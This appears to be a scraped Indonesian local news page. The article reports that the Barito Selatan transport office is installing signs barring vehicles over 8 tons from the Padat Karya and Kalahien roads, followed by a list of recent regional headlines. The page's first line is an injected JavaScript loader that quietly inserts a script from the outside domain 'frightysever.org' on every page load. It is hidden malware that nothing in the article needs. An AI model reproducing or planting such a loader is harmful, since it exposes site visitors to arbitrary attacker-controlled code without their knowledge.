(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

Maksimal Dilintasi Angkutan 8 Ton, Dishub Barsel Pasang Rambu Larangan di Dua Ruas Jalan Ini


KANALKALIMANTAN.COM, BUNTOK – Dinas Perhubungan (Dishub) Kabupaten Barito Selatan (Barsel) melakukan pemasangan rambu lalu lintas jalan di beberapa titik lokasi.

Kepala Dishub Barsel Daud Danda mengatakan, pemasangan rambu lalu lintas dipasang seperti jalan Padat Karya dan jalan Kalahien, karena dua akses jalan itu tidak boleh sembarang angkutan atau mobil yang bisa melintas karena ada batasan muatan maksimal.

“Seperti angkutan truk yang melebihi kapasitas lebih dari 8 ton, mobil atau angkutan yang melintas lebih dari 8 ton tidak diperbolehkan,” kata Daud Danda kepada Kanalkalimantan.com, Senin (30/8/2021).

Ia mengatakan, maka itu dilakukan pemasangan rambu pada area jalan kabupaten atau jalan Kelas III, karena jalan Kelas III maksimal hanya bisa dilintasi oleh angkutan atau mobil yang tidak melebihi dari 8 ton.

 

 

Baca juga:47 Sekolah di HSU Kembali Jalani PTM Terbatas

“Karena itu untuk lebih menegaskan agar tidak ada angkutan umum yang melebihi 8 ton melintas, kita lakukan pemasangan rambu-rambu ini,” tegas Daud.

Ia berharap dengan adanya pemasangan rambu-rambu itu tidak ada lagi para sopir baik angkutan umum atau yang lainnya, melintas di atas beban muatan lebih dari 8 ton.

“Kita harap para sopir bisa mentaati dengan adanya aturan pada rambu-rambu yang sudah kita pasang, sehingga untuk jalan yang ada ini tidak akan mudah atau cepat rusak,” pinta Daud.

Pihaknya juga telah menyosialisasikan aturan terkait rambu-rambu yang telah dipasang ini, bila memang ada yang masih tidak mengindahkan bisa dilaporkan kepada Dishub Barsel.

“Jadi jika memang masih ada yang tidak patuh bisa laporkan kepada kita untuk dapat ditindak lebih lanjut, sesuai dengan aturan Undang-Undang nomor 28 tahun 2009 pasal 19, semua akses jalan Kelas III tidak boleh dilintasi oleh angkutan yang lebih dari 8 ton,” pungkas Daud.(kanalkalimantan.com/digdo)

Reporter: digdo
Editor : bie

 


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

12 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

15 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

19 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

19 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

19 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

21 jam ago

This website uses cookies.